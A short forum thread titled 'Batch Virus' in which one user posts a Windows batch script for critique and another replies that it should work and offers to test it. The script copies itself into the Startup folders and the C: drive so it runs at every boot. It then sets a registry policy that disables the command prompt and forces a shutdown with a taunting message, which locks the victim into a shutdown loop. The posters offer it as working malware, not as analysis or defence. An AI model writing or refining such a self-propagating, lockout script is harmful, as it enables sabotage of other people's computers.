Login Register






Batch "Virus" filter_list
Author
Message
RE: Batch "Virus" #4
(05-22-2014, 10:36 PM)Fish Wrote:
(05-22-2014, 10:31 PM)Firemonkey Wrote:
Code:
if exist {insert file name here} ( rem file exists ) else ( rem file doesn't exist )

Does "else" work in Batch? I was under the impression that it would be "if not" instead.

Thanks for the quick reply, btw

Edit:
How about something like this:
Code:
Title name @echo off if exist {%ALLUSERSPROFILE%\Start Menu\Programs\Startup\name12.bat} goto :2 if not exist {%ALLUSERSPROFILE%\Start Menu\Programs\Startup\name12.bat} goto :1 :1 copy E:\name12.bat %ALLUSERSPROFILE%\Start Menu\Programs\Startup copy E:\name12.bat %USERPROFILE%\Start Menu\Programs\Startup copy E:\name12.bat C:\* :2 REG add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 1 /f :3 shutdown -s -t 10 -c "Bye-bye, %username%!" exit

You can use else in batch (at least the last time I looked). The way you have it should work. I can test it later for you in a VM.

Reply





Messages In This Thread
Batch "Virus" - by Fish - 05-22-2014, 10:07 PM